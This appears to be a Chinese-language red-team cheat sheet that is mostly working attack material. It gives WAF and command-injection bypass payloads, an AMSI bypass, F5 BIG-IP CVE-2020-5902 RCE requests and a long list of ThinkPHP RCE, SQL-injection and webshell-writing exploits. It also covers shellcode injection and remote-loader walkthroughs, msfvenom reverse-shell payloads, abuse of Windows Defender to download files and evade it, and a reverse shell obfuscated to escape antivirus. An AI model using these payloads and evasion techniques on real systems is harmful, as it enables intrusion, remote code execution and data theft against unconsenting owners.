命令explorer.exe / root与cmd.exe / c类似,只不过使用explorer会破坏进程树,会创建新实例explorer.exe,使之成为新实例下的子进程

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loT高频率账户密码

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Bypass mod_security

Xss和注入bypass mod_security
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... –
<marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee>
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5—
%75%6e%69on = union 
%73%65%6cect = select 
%75%6e%69 = uni = url encode 
%73%65%6c = sel = url encode

查找git和svn的字典

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Top 25 重定向dorks

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使用grep快速去除垃圾数据

curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

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已泄露的密码整理出的字典

https://github.com/FlameOfIgnis/Pwdb-Public
从网上泄露的10亿条数据中整理出的。里面257,669,588被筛选为损坏的数据或测试账户。
10亿个凭据可归结为168,919,919密码和393,386,953用户名.
平均密码长度为9.4822个字符
12.04%包含特殊字符,28.79%密码仅是字母,26.16%仅是小写,13.37%仅是数字,8.83%的密码仅被发现一次
与rockyou的对比,rockyou包含14,344,391个密码,本字典与rockyou相差80%
还有根据不同国家生成的小字典

命令注入Bypass

From: @shreyasrx
cat /etc/passwd 
cat /e"t"c/pa"s"swd 
cat /'e'tc/pa's' swd 
cat /etc/pa??wd 
cat /etc/pa*wd 
cat /et' 'c/passw' 'd 
cat /et$()c/pa$()$swd
cat /et${neko}c/pas${poi} swd 
*echo "dwssap/cte/ tac" | rev 
$(echo Y2FOIC9ldGMvcGFzc3dkCg== base64 -d) 
w\ho\am\i 
/\b\i\n/////s\h 
who$@ami 
xyz%0Acat%20/etc/passwd 
IFS=,;`cat<<<uname,-a`
/???/??t /???/p??s?? 
test=/ehhh/hmtc/pahhh/hmsswd 
cat ${test//hhh\/hm/} 
cat ${test//hh??hm/}
cat /???/?????d
{cat,/etc/passwd}

查询是否存在heartbleed漏洞

cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done

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远程解压文件

pip install remotezip
#列出远程压缩包文件内容
remotezip -l http://site/bigfile.zip
#解压里面的文件
remotezip "http://site/bigfile.zip" "file.txt"

Top25 ssrf dorks

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使用SecurityTrails API查询子域名

去https://securitytrails.com/申请个免费的API
curl -s --request GET --url https://api.securitytrails.com/v1/domain/target.com/subdomains?apikey=API_KEY | jq '.subdomains[]' | sed 's/\"//g' >test.txt 2>/dev/null && sed "s/$/.target.com/" test.txt | sed 's/ //g' && rm test.txt

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邮件地址payload

XSS
test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com
SSTI
"<%= 7 * 7 %>"@example.com
test+(${{7*7}})@example.com
SQL injection
"' OR 1=1 -- '"@example.com 
"mail'); --"@example.com
SSRF
john.doe@abc123.dnslog.cn
john.doe@[127.0.0.1]
头注入
"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"recipient@test.com>\r\nRCPT TO:<victim+"@test.com

Web server日志分析命令

https://gist.github.com/hvelarde/ceac345c662429447959625e6feb2b47
通过状态码获取请求总数
awk '{print $9}' /var/log/apache2/access.log | sort | uniq -c | sort –rn

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按照IP的请求数量排序
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head | awk -v OFS='\t' '{"host " $2 | getline ip; print $0, ip}'

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按照ua的请求数量排序
awk -F'"' '{print $6}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head

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按照url的请求数量排序
awk '{print $7}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head

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按照请求页面为404的url排序
awk '$9 ~ /404/ {print $7}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head
按照请求致后端报错的IP排序
awk '$0 ~ /\[error\]/ && match($0, /(client: )(.*)(, server)/, arr) {print arr[2]}' /var/log/apache2/error.log | sort | uniq -c | sort -rn | awk -v OFS='\t' '{"host " $2 | getline ip; print $0, ip}'
获取最近10分钟的请求
awk -v date=$(date +[%d/%b/%Y:%H:%M --date="-10 minutes") '$4 > date' /var/log/nginx/access.log

Bypass AMSI

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUt'+'ils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)

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Bypass AMSI 2

https://github.com/crawl3r/FunWithAMSI
直接编译完使用即可
[System.Reflection.Assembly]::LoadFile("C:\\Users\\test\\Desktop\\AmsiFun.dll")
[Amsi]::Bypass()

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CVE-2020-5902

F5 BIG-IP TMUI RCE
https://raw.githubusercontent.com/jas502n/CVE-2020-5902/master/CVE-2020-5902.py
RCE
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
读文件
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
执行Linux命令
/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmshCmd.jsp?command=list+/tmp/cmd
/tmshCmd.jsp?command=delete+cli+alias+private+list

一些可尝试绕过白名单的执行

forfiles /p c:\windows\system32 /m notepad.exe /c <bin> 
explorer.exe /root,"<bin>" 
pcalua.exe -a <bin> 
scriptrunner.exe -appvscript <bin> 
wmic process call create <bin> 
rundll32.exe advpack.dll, RegisterOCX <bin>

绕过lsa protection

https://github.com/RedCursorSecurityConsulting/PPLKiller

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Pezor免杀

使用inline_syscall内联注入shellcode,结合sgn,donut等项目,增加了一些反调试技巧
https://github.com/phra/PEzor
$ git clone https://github.com/phra/PEzor.git 
$ cd PEzor 
$ sudo bash install.sh 
$ bash PEzor.sh –h
这里测试下mimikatz,-sleep设置为2分钟,执行后需等两分钟
打包之前

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打包之后

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测试下Covenant

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动态调用进程注入逻辑

感兴趣可阅读以下
https://github.com/dtrizna/DInvoke_PoC
https://rastamouse.me/blog/process-injection-dinvoke/
https://thewover.github.io/Dynamic-Invoke/
这里测试的是使用donut的python模块。注入notepad进程

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在Windows Server 2016和2019中绕过Windows Defender

当获得了一个webshell的时候,下一步要反弹个shell回来

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在尝试了https://github.com/trustedsec/unicorn独角兽失败之后,找到了一篇使用golang将shellcode注入到内存的文章
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/
https://github.com/brimstone/go-shellcode
https://golang.org/pkg/syscall/?GOOS=windows#NewLazyDLL
该代码利用golang中的syscall包来调用NewLazyDLL  方法来加载Kernel32.dll,加载Kernel32.dll后,即可将其用于寻址和内存分配。编译后的代码将十六进制格式的msfvenom内容用作命令行参数。
由于代码存在许久,可能直接使用会被检测到,这里对其进行了修改,重命名所有变量,通过URL方式加载shellcode,为了绕过沙盒,添加了一些其他的参数,如果不存在参数则退出执行。
用powershell下载到服务器

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等了几分钟,发现文件没有被删除,再执行。Msf收到会话

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在尝试了getuid命令之后,返回了错误,查看了以下目录,还是被删除了

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本地复现了下,可以看到被检测到了

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绕过可以看一下微软的文章
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/configure-server-exclusions-microsoft-defender-antivirus#list-of-automatic-exclusions
Windows Server 2016和2019上的Microsoft Defender Antivirus自动将您注册为某些排除项,具体由您指定的服务器角色定义。请参阅  自动排除项列表 。这些排除项不会被windows defender检查。

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按照文章,创建个目录PHP5433,修改文件为php-cgi.exe即可绕过wd的防护

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使用烂土豆提权

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文中webshell: https://github.com/NetSPI/cmdsql

内存中解码shellcode绕过av

https://github.com/mhaskar/Shellcode-In-Memory-Decoder
流程
打开一个进程并检索该进程的HANDLE。
在进程中分配空间(检索内存地址)。
将数据(shellcode)写入该进程中。
执行shellcode。
我们可以使用几个Win32 API执行这些步骤:
OpenProcess()
VirtualAllocEx()
WriteProcessMemory()
CreateRemoteThread()
正常情况下,我们将原始shellcode直接写入到内存中,但是如果AV /EDR检测到了Shellcode,它们肯定会发出警报
所以我们在二进制文件中使用可逆的方式把shellcode编码,再解码写入内存来规避防护。
比如加、减、异或、交换。
使用cs生成个shellcode

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使用python进行异或

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该脚本读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,将其打印为如下的shellcode :

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现在,我们将开始实现将为我们执行shellcode注入的C代码。
编译方式
x86_64-w64-mingw32-gcc decoder.c -o decoder.exe -w
我将逐步介绍每个win32 API。
打开过程并获取一个句柄
我们需要选择一个向其注入shellcode的进程,然后需要检索该过程的句柄,以便可以对其执行一些操作,我们将使用OpenProcess win32 API

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该代码将您要获取其句柄的进程ID作为第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,为我们打印

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成功检索到该句柄
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()

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base_address代表分配的内存的地址
16行,我们将打印分配的内存的地址,并将其写入数据

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0x29d0000作为地址,
使用x64dbg附加explorer.exe进程,转到这里看看

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可以看到函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。
接下来我们解码shellcode并写到内存中
即使使用这种类型(这里用的是异或)的编码,我们的shellcode也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。
这里为测试就只使用的0x01

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这段代码将使用密钥0x01对每个字节进行解码后,将我们的shellcode写入内存中
运行

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如图所见,我们将每个字节写入地址,现在我们用x64dbg进行调试,然后转到地址 0x3ce0000查看一下:

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可以看到shellcode已经写入进去了。
下一步就是执行shellcode了
使用CreateRemoteThread()函数来执行

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cshot shellcode远程加载器

From:
https://github.com/anthemtotheego/C_Shot
http://blog.redxorblue.com/2020/07/cshot-just-what-doctor-ordered.html
C_Shot是一种用C语言编写的攻击性安全工具,旨在通过HTTP / HTTPS下载远程shellcode二进制文件(.bin),注入并执行shellcode。
1.shellcode注入其自己的进程
2.使用父进程欺骗将shellcode注入子进程
使用C_Shot之类的工具的好处是,我们要执行的恶意代码没有存储在二进制文件中,而是从远程位置检索,读入内存然后执行。这有助于使诸如C_Shot之类的工具对AV / EDR显得相当友好,并且不会被发现。

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cl / D _UNICODE / D UNICODE cshot.c

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生成分阶段payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -a x64 --platform windows -b "\x00" -f raw -o /root/Desktop/DefaultStaged.bin
生成无阶段payload
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= IP LPORT= PORT -a x64 --platform windows -b "\x00" -f raw -o /root/Desktop/DefaultStageless.bin
现在我们已经建立了二进制文件,现在需要一个Web服务。例如运行python -m SimpleHTTPServer 80,或者将它们托管在外部某个地方。对于本文中的所有示例,我将使用github托管shellcode。

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确保windows defender打开。

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注入到自己的进程中

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测试分阶段的shellcode会被windows defender拦截

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无阶段的shellcode不会被拦截

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获得shell

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测试分阶段shellcode欺骗父进程方法:

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获得shell

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现在测试下CrowdStrike
注入到自己的进程,两种shellcode都被拦截

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欺骗父进程

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获得shell

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分阶段和无阶段的shellcode在使用欺骗父进程方法时都可以绕过av。
此工具在公共发行版中,没有进行任何形式的API隐藏,字符串混淆,内存保护技巧等工作。如果未进行任何修改,则对该工具的静态分析应该很容易发现。

thinkphp渗透手段

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thinkphp 3.2.3
where注入
利用字符串方式作为where传参时存在注入
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
exp注入
这里使用全局数组进行传参(不要用I方法),漏洞才能生效
public function  getuser(){
    $User = D('User');
    $map = array('id' => $_GET['id']);
    $user = $User->where($map)->find();
    dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
bind注入
public function  getuser(){
    $data['id'] = I('id');
    $uname['username'] = I('username');
    $user = M('User')->where($data)->save($uname);
    dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
find/select/delete注入
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
order by注入
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
order=id and(updatexml(1,concat(0x7e,(select user())),0))
此文转自酒仙桥六号部队
TP5
开启debug下的数据库连接
tp5.0.*在debug模式下如果在数据交互点构造如sql注入、空参数等方式使数据库查询等出错,在一定情况下可能导致数据库账号密码直接显示出来。(报错信息太细了不仔细容易忽略掉)

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在debug模式下找注入点也可以通过报错语句进行构造,并且由于debug模式可能导致本来没有回显的注入变成报错注入。当然目标数据库无法外连的时候,这个注入就挺有用的了。

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关于log文件的利用
log文件是runtime/log目录下的,比较常见的路径类似:
/runtime/log/2020001/01.log ,默认是启用的,关于该文件主要有以下三点利用方式。
1.关于http请求的部分
常见的log文件会记录http请求,如果对应的站点存在后台等登陆,可以通过记录请求中的cookie登陆后台。

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2.关于构造sql注入
某些配置下日志还会记录sql语句的执行和报错,可以用于构造sql注入,但是一般这种利用比较少,需要先找到数据交互点然后和日志中记录的赋值以及报错一一对应。
3.关于cache文件名
tp下通过缓存文件获取webshell是一个老生常谈的问题,白盒下理论上都说得通,但是实际上在使用该漏洞的时候是存在部分难点的,如生成cache文件的方式,cache文件名等。
在log文件中可能存在cache文件生成时的报错,这样可以确定目标tp的cache文件命名方式等,举个例子:
在某次渗透中目标tp的log文件。

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可以注意到这里由于生成缓存文件出错,导致直接将缓存文件的文件名输出。根据输出的缓存文件名去猜测生成规则,由于tp5的缓存文件命名默认是md5(value),所以大部分时候可以把文件名等带进value进行比对。
这里通过猜测和比对确定是view的文件绝对路径生成的cache文件名。

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一般来说使用php原生的md5函数去生成md5比较稳妥,笔者为了方便直接在线加密的。
这里基本上就排除了cache getshell的一大难题。之后正常去寻找能进库的交互点,比如发帖,留言这种,就能想办法获取webshell了。
tp5路由
thinkphp系列的官方开发文档是期望网站运维人员将public设置为web根目录,即使用./public/index.php作为入口文件。在实际的渗透过程中由于thinkphp是框架涉及很多二次开发,部分开发人员会选择自定义一个入口文件而不置于public目录下,如/var/www/html/index.php的形式。这里会涉及到打exp的路由问题,由于部分开发人员自定的入口文件可能导致调用的路径出现差异。
一般来说打exp的时候尽量使用./public/index.php来打,以下列exp为例:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
可能会出现例如:
http://xxx/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/index.php?s=\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
所以很多时候不是打一个exp无效就代表没洞,在黑盒测试的时候可能只是没有找对路由。
下面是实战中的案例:

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可以看到如果以常规的exp进行测试是返回方法不存在的,因为原生路由被二次开发修改了,所以最终代码执行的payload如下:

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5.0.*和5.1.*
相对来说5.0可利用的exp比较5.1要多一些,5.1主要的利用方式还是上面举例用的exp。
App.php出现问题的代码如下:

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其实就是把反斜杠认定为类名,最终使得类实例化,具体的分析在这里就不拿出来水字数了。
而在渗透的过程中大的思路其实是差不多的,尝试多种exp,尝试读log文件等,可以通过简单比对两个版本的目录结构在没有其他信息的情况下判断版本。
TP5:

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TP5.1:

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如果网站不是以/public/作为根目录的话,又没通过报错直接体现版本的,可以通过访问目录看目录是否存在来做判断比如访问./thinkphp/,这里不推荐通过/app/目录来做判断,因为笔者遇到过很多开发者会修改这个目录,比方说改成/apps/,/applications/,也就无法准确判断是5.1还是5.0。
tp3的渗透思路
tp3 关于log文件相关的利用同上,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log。
sql注入
tp3的sql注入指的是框架层面的注入问题,即二次开发的时候如果调用了model内的find, delete, select方法的话,就可能出现注入问题。
对于白盒测试而言,只要model.class.php没修复然后找到调用了方法的地方就可以挖掘到注入。
以select方法简单做个分析。
Model.class.php

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函数可以接受一个options参数,为了构成注入肯定是要进入到_parseOptions方法,也就是要绕过两次判断,也就是只要传输的options为数组,同时主键不是数组,就能进到_parseOptions方法。

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可以看到传入options['table']或options['alias']且设置options['where']值为字符串,最终会options直接返回,整个过程是没有过滤的,然后进到ThinkPHP\Libray\Think\Db\Diver.class.php,进到select方法。

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可以看到sql语句是最后的parseSql生成的。

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跟进到parseWhere方法,只要绕过if,最终的return的sql语句是直接拼接的,也就是注入的产生原因,会直接带入select方法执行。

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黑盒测试也比较类似,一般情况下找到数据库交互点后进行注入尝试即可。
cache写shell
cache写webshell的难点在于cache文件名的确定,一般情况下是md5(绝对路径)生成的cache文件,上文也提到某些情况下可以通过log文件确定cache文件名称
cache文件写入的时候会被注释,所以需要通过%0d%0a提行绕过注释。
所以最终的payload一般为:

%0d%0aeval($_POST['cmd']);%0d%0a//
找到参数影响页面的点后通过传参写入webshell,本地可以复现,实战中倒是没遇到过。
tp3渗透主要思路
tp3的渗透在实战中利用的点比较少,所以一般而言遇到tp3的目标,最主要的思路在于找log,然后通过log去看有没有后台之类的,相对来说较一起会比对框架的注入,cache写shell等靠谱。
tp3 关于log文件相关的利用同tp5,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log,文件名的格式可能会有变化,多尝试一下一般也能找到。
tp6的新型问题
tp6的利用链
关于model.php的__destruct()方法调用其他类__tostring()方法的文已经有人发过了,但是文中把poc打码了,这里简单跟一下。

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将对象的lazySave属性设置为True进入save方法:

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然后进updateData方法:

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在checkAllowFields方法中调用db方法,图中方法中框起来的语句是可以拼接的,只需要将这两个属性中的一个设置为类对象,即可触发对象的__toString方法。之后的利用方式和tp5.*相同。

image
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接着与tp5.*后的gadget是一致的,最终目的是要这个效果实现代码执行。

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接下来是构造poc,由于测试利用链,笔者手写了一个unserialize。

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然后通过Dido1960大佬的poc代码生成payload。
poc参见:
https://github.com/Dido1960/thinkphp/blob/master/v6.0.x/poc/poc.php

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该利用链需求一个反序列化的可控点,二次开发在使用unserialize后可能导致代码执行。同时也可能利用该问题构成一个tp6的后门,如已经通过其他方式获取服务器权限,则可在某些地方加入unserialize函数实现反序列化的一个后门。
所有poc
Thinkphp5 rce poc
利用工具
https://github.com/wh1t3p1g/phpggc
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
未知版本
16、?s=index/\think\module/action/param1/${@phpinfo()}
17、?s=index/\think\Module/Action/Param/${@phpinfo()}
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
19、index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
21、index.php?s=/home/shopcart/getpriceNum/id/1%27
22、index.php?s=/home/user/cut/id/1%27
23、index.php?s=/home/service/index/id/1%27
24、index.php?s=/home/pay/chongzhi/orderid/1%27
25、index.php?s=/home/pay/index/orderid/1%27
26、index.php?s=/home/order/complete/id/1%27
27、index.php?s=/home/order/complete/id/1%27
28、index.php?s=/home/order/detail/id/1%27
29、index.php?s=/home/order/cancel/id/1%27
30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#
thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
thinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
thinkphp 5.1.* 和 5.2.* 和 5.0.*
35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
Thinkphp5 注入 poc
需开启app_debug
http://yoursite/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
Thinkphp5 文件包含 poc
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问     http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞 。
Thinkphp5 代码执行poc
5.0.0<=ThinkPHP5<=5.0.10
http://localhost/tpdemo/public/?username=mochazz123%0d%0a@eval($_GET[_]);//
http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
&
写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
&
包含session getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
&
POST /?s=captcha
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
+号用urlencode编码为%2b,前后加ab为了凑足解码
/?s=captcha&r=phpinfo();
_method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/read=convert.base64-decode/resource=c:\www\tmp\sess_kking&server[]=1
&
POST /?s=captcha&r=phpinfo();
Cookie: PHPSESSID=kking
_method=__construct&method=get&filter[]=base64_decode&filter[]=think\__include_file&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWM6XHd3d1x0bXBcc2Vzc19ra2luZw==&server[]=1
&
设置session
POST /?s=captcha
Cookie: PHPSESSID=kktest

_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
文件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==

_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
Thinkphp6 任意文件创建
需可控session参数,如username
/index.php?username=<?php phpinfo();?>
Cookie:1234567890123456789012345670.php
Cookie需32位
在runtime\session下生成
sess_1234567890123456789012345670.php文件

使用windows defender下载文件

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0>MpCmdRun.exe -DownloadFile -url http://192.168.2.105:8000/payload.c -path c:\\users\\test\\desktop\\1.c

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其他利用

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Powershell脚本混淆绕过amsi和av

https://github.com/tokyoneon/Chimera
以下是Invoke-PowerShellTcp.ps1的片段
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$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

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经过Chimera处理后
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# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.

# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.

VirusTotal报告检测到0个

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Kali下安装
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
在shells /目录中有几个Nishang脚本和一些通用脚本。所有都已经过测试
使用脚本之前,请将硬编码的IP地址(192.168.56.101)更改为您的Kali地址。
/opt/chimera$ sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
所有脚本的默认端口为4444。如果需要,再次使用sed进行更改。
/opt/chimera$ sed -i 's/4444/<YOUR-DESIRED-PORT>/g' shells/*.ps1
f:输入文件。
-o:输出文件。
-g:从脚本中省略几个Nishang特定的特征。
-v:替换变量名称。
-t:替换数据类型。
-j:替代函数名称。
-i:在每一行中插入任意注释。
